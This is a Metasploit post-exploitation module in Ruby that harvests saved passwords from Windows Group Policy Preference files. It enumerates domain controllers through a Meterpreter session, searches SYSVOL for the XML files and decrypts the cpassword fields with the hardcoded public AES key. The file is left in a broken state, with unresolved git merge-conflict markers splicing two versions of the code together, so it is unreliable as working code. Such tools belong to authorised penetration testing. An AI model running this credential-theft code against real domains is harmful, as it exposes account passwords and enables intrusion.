## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'rexml/document' <<<<<<< HEAD ======= require 'msf/core/post/windows/registry' >>>>>>> upstream/master class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::Priv <<<<<<< HEAD ======= include Msf::Post::Windows::Registry >>>>>>> upstream/master def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Group Policy Preference Saved Passwords', 'Description' => %q{ This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsofts public AES key. <<<<<<< HEAD Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific domains on the network. This module will enumerate any domain controllers for those domains. Users can specify ALL=True to target all domains and their domain controllers on the network. Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client Workstation. Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it is looking externally on the network for other Domain Controllers, however the default (CURRENT=True which inspects the registry) should work successfully. ======= Tested on WinXP SP3 Client and Win2k8 R2 DC. >>>>>>> upstream/master }, 'License' => MSF_LICENSE, 'Author' =>[ 'Ben Campbell ', 'Loic Jaquemet ', 'scriptmonkey ', <<<<<<< HEAD 'TheLightCosine ' ======= 'TheLightCosine ', 'Rob Fuller ' #domain/dc enumeration code >>>>>>> upstream/master ], 'References' => [ ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'] ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) <<<<<<< HEAD register_options( [ OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]), OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']), ], self.class) end def run dcs = [] group_paths = [] group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" group_path_user = "USER\\Preferences\\Groups\\Groups.xml" service_paths = [] service_path = "MACHINE\\Preferences\\Services\\Services.xml" printer_paths = [] printer_path = "USER\\Preferences\\Printers\\Printers.xml" drive_paths = [] drive_path = "USER\\Preferences\\Drives\\Drives.xml" datasource_paths = [] datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml" datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml" task_paths = [] task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" if !datastore['DOMAINS'].to_s.empty? user_domains = datastore['DOMAINS'].to_s.split(' ') print_status "User supplied domains #{user_domains}" user_domains.each do |domain_name| found_dcs = enum_dcs(domain_name) dcs << found_dcs[0] unless found_dcs.to_a.empty? end elsif datastore['ALL'] enum_domains.each do |domain| domain_name = domain[:domain] if domain_name == "WORKGROUP" || domain_name.empty? print_status "Skipping '#{domain_name}'..." next end found_dcs = enum_dcs(domain_name) # We only wish to enumerate one DC for each Domain. dcs << found_dcs[0] unless found_dcs.to_a.empty? end elsif datastore['CURRENT'] dcs << get_domain_controller else print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments" return nil end dcs = dcs.flatten.compact if dcs.length < 1 return nil end dcs.each do |dc| print_status "Searching on #{dc}..." sysvol_path = "\\\\#{dc}\\SYSVOL\\" begin # Enumerate domain folders session.fs.dir.foreach(sysvol_path) do |domain_dir| next if domain_dir =~ /^(\.|\.\.)$/ domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\" print_status "Looking in domain folder #{domain_path}" # Enumerate policy folders {...} begin session.fs.dir.foreach(domain_path) do |policy_dir| next if policy_dir =~ /^(\.|\.\.)$/ policy_path = "#{domain_path}\\#{policy_dir}" group_paths << find_path(policy_path, group_path) group_paths << find_path(policy_path, group_path_user) service_paths << find_path(policy_path, service_path) printer_paths << find_path(policy_path, printer_path) drive_paths << find_path(policy_path, drive_path) datasource_paths << find_path(policy_path, datasource_path) datasource_paths << find_path(policy_path, datasource_path_user) task_paths << find_path(policy_path, task_path) task_paths << find_path(policy_path, task_path_user) end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{domain_path}" end end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{sysvol_path}" end end group_paths = group_paths.flatten.compact service_paths = service_paths.flatten.compact printer_paths = printer_paths.flatten.compact drive_paths = drive_paths.flatten.compact datasource_paths = datasource_paths.flatten.compact task_paths = task_paths.flatten.compact print_status "Results from Groups.xml:" group_paths.each do |path| mxml, dc = get_xml(path) parse_group_xml(mxml, dc) end print_status "Results from Services.xml:" service_paths.each do |path| mxml, dc = get_xml(path) parse_service_xml(mxml, dc) end print_status "Results from Printers.xml:" printer_paths.each do |path| mxml, dc = get_xml(path) parse_printer_xml(mxml, dc) end print_status "Results from Drives.xml:" drive_paths.each do |path| mxml, dc = get_xml(path) parse_drive_xml(mxml, dc) end print_status "Results from DataSources.xml:" datasource_paths.each do |path| mxml, dc = get_xml(path) parse_datasource_xml(mxml, dc) end print_status "Results from ScheduledTasks.xml:" task_paths.each do |path| mxml, dc = get_xml(path) parse_scheduled_task_xml(mxml, dc) end end ======= register_options([ OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) end def run group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" group_path_user = "USER\\Preferences\\Groups\\Groups.xml" service_path = "MACHINE\\Preferences\\Services\\Services.xml" printer_path = "USER\\Preferences\\Printers\\Printers.xml" drive_path = "USER\\Preferences\\Drives\\Drives.xml" datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml" datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml" task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" domains = [] dcs = [] basepaths = [] fullpaths = [] @enumed_domains = [] print_status "Checking locally.." locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol")) unless locals.blank? basepaths << locals print_good "Policy Sahres found locally" end if datastore['ALL'] and datastore['DOMAINS'].blank? domains = enum_domains domains.reject!{|n| n == "WORKGROUP"} end datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS'] domains << get_domain_reg domains.flatten! domains.compact! domains.uniq! domains.each do |domain| dcs = enum_dcs(domain) next if dcs.blank? dcs.uniq! tbase = [] dcs.each do |dc| print_status "Searching for Policy Share on #{dc}..." tbase = get_basepaths("\\\\#{dc}\\SYSVOL") #If we got a basepath from the DC we know that we can reach it #All DCs on the same domain should be the same so we only need one unless tbase.blank? print_good "Found Policy Share on #{dc}" basepaths << tbase break end end end basepaths.flatten! basepaths.compact! print_status "Searching for Group Policy XML Files..." basepaths.each do |policy_path| fullpaths << find_path(policy_path, group_path) fullpaths << find_path(policy_path, group_path_user) fullpaths << find_path(policy_path, service_path) fullpaths << find_path(policy_path, printer_path) fullpaths << find_path(policy_path, drive_path) fullpaths << find_path(policy_path, datasource_path) fullpaths << find_path(policy_path, datasource_path_user) fullpaths << find_path(policy_path, task_path) fullpaths << find_path(policy_path, task_path_user) end fullpaths.flatten! fullpaths.compact! fullpaths.each do |filepath| tmpfile = gpp_xml_file(filepath) parse_xml(tmpfile) if tmpfile end end def get_basepaths(base) locals = [] begin session.fs.dir.foreach(base) do |sub| next if sub =~ /^(\.|\.\.)$/ tpath = "#{base}\\#{sub}\\Policies" begin session.fs.dir.foreach(tpath) do |sub2| next if sub =~ /^(\.|\.\.)$/ locals << "#{tpath}\\#{sub2}\\" end rescue Rex::Post::Meterpreter::RequestError => e print_error "Could not access #{tpath} : #{e.message}" end end rescue Rex::Post::Meterpreter::RequestError => e print_error "Error accessing #{base} : #{e.message}" end return locals end >>>>>>> upstream/master def find_path(path, xml_path) xml_path = "#{path}\\#{xml_path}" begin return xml_path if client.fs.file.stat(xml_path) rescue Rex::Post::Meterpreter::RequestError => e # No permissions for this specific file. return nil end end <<<<<<< HEAD def get_xml(path) ======= def gpp_xml_file(path) >>>>>>> upstream/master begin groups = client.fs.file.new(path,'r') until groups.eof data = groups.read end <<<<<<< HEAD domain = path.split('\\')[2] mxml = REXML::Document.new(data).root return mxml, domain rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" end end def parse_service_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['accountName'] service_name = node.attributes['serviceName'] changed = node.parent.attributes['changed'] pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}" report_creds(user,pass) end end def parse_printer_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['username'] #lowercase in MSDN path = node.attributes['path'] changed = node.parent.attributes['changed'] pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" report_creds(user,pass) end end def parse_drive_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice path = node.attributes['path'] changed = node.parent.attributes['changed'] pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" report_creds(user,pass) end end def parse_datasource_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['username'] #lowercase in MSDN dsn = node.attributes['dsn'] changed = node.parent.attributes['changed'] pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}" report_creds(user,pass) end end def parse_scheduled_task_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['runAs'] task_name = node.attributes['name'] changed = node.parent.attributes['changed'] pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}" report_creds(user,pass) end end def parse_group_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] action = node.attributes['action'] expires = node.attributes['expires'] never_expires = node.attributes['neverExpires'] description = node.attributes['description'] full_name = node.attributes['fullName'] no_change = node.attributes['noChange'] change_logon = node.attributes['changeLogon'] sub_authority = node.attributes['subAuthority'] changed = node.parent.attributes['changed'] # Check if policy also specifies the user is renamed. if !newname.to_s.empty? user = newname end pass = decrypt(epassword) print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}" report_creds(user,pass) end end ======= spath = path.split('\\') retobj = { :dc => spath[2], :path => path, :xml => REXML::Document.new(data).root } if spath[4] == "sysvol" retobj[:domain] = spath[5] else retobj[:domain] = spath[4] end return retobj rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" return nil end end def parse_xml(xmlfile) mxml = xmlfile[:xml] print_status "Parsing file: #{xmlfile[:path]} ..." mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? next if @enumed_domains.include? xmlfile[:domain] @enumed_domains << xmlfile[:domain] pass = decrypt(epassword) user = node.attributes['runAs'] if node.attributes['runAs'] user = node.attributes['accountName'] if node.attributes['accountName'] user = node.attributes['username'] if node.attributes['username'] user = node.attributes['userName'] if node.attributes['userName'] user = node.attributes['newName'] unless node.attributes['newName'].blank? changed = node.parent.attributes['changed'] expires = node.attributes['expires'] never_expires = node.attributes['neverExpires'] disabled = node.attributes['acctDisabled'] table = Rex::Ui::Text::Table.new( 'Header' => 'Group Policy Credential Info', 'Indent' => 1, 'SortIndex' => 5, 'Columns' => [ 'Name', 'Value', ] ) table << ["USERNAME", user ] table << ["PASSWORD", pass] table << ["DOMAIN CONTROLLER", xmlfile[:dc]] table << ["DOMAIN", xmlfile[:domain] ] table << ["CHANGED", changed] table << ["EXPIRES", expires] unless expires.blank? table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? table << ["DISABLED", disabled] unless disabled.blank? print_good table.to_s report_creds(user,pass) unless disabled and disabled == '1' end end >>>>>>> upstream/master def report_creds(user, pass) if session.db_record source_id = session.db_record.id else source_id = nil end report_auth_info( :host => session.sock.peerhost, :port => 445, :sname => 'smb', :proto => 'tcp', :source_id => source_id, :source_type => "exploit", :user => user, :pass => pass) end def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Rex::Text.decode_base64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end <<<<<<< HEAD #enum_domains.rb ======= >>>>>>> upstream/master def enum_domains print_status "Enumerating Domains on the Network..." domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) # Estimate new buffer size on percentage recovered. percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) if percent_found > 0 buffersize = (buffersize/percent_found).to_i else buffersize += 500 end while result['return'] == 234 buffersize = buffersize + 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) end count = result['totalentries'] print_status("#{count} domain(s) found.") startmem = result['bufptr'] base = 0 domains = [] if count == 0 return domains end mem = client.railgun.memread(startmem, 8*count) count.times do |i| x = {} x[:platform] = mem[(base + 0),4].unpack("V*")[0] nameptr = mem[(base + 4),4].unpack("V*")[0] x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join <<<<<<< HEAD domains << x ======= domains << x[:domain] >>>>>>> upstream/master base = base + 8 end return domains end <<<<<<< HEAD #enum_domains.rb ======= >>>>>>> upstream/master def enum_dcs(domain) print_status("Enumerating DCs for #{domain}") domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) while result['return'] == 234 buffersize = buffersize + 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) end if result['totalentries'] == 0 <<<<<<< HEAD print_error "No Domain Controllers found for #{domain}" ======= print_error("No Domain Controllers found for #{domain}") >>>>>>> upstream/master return nil end count = result['totalentries'] startmem = result['bufptr'] base = 0 mem = client.railgun.memread(startmem, 8*count) hostnames = [] <<<<<<< HEAD count.times do |i| ======= count.times{|i| >>>>>>> upstream/master t = {} t[:platform] = mem[(base + 0),4].unpack("V*")[0] nameptr = mem[(base + 4),4].unpack("V*")[0] t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join base = base + 8 print_good "DC Found: #{t[:dc_hostname]}" hostnames << t[:dc_hostname] <<<<<<< HEAD end return hostnames end #enum_domain.rb def reg_getvaldata(key,valname) value = nil begin root_key, base_key = client.sys.registry.splitkey(key) open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) v = open_key.query_value(valname) value = v.data open_key.close rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} - #{e.message} when reading the registry." end return value end #enum_domain.rb def get_domain_controller() domain = nil begin subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" v_name = "DCName" domain = reg_getvaldata(subkey, v_name) rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} - #{e.message} when reading the registry." end if domain.nil? print_error "No domain controller retrieved - is this machine part of a domain?" return nil else return domain.sub!(/\\\\/,'') end end end ======= } return hostnames end def get_domain_reg begin subkey = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\" v_name = "Domain" domain = registry_getvaldata(subkey, v_name) print_status "Retrieved domain #{domain} from registry " rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} - #{e.message} when reading the registry." end domain = domain.split('.')[0].upcase return domain end end >>>>>>> upstream/master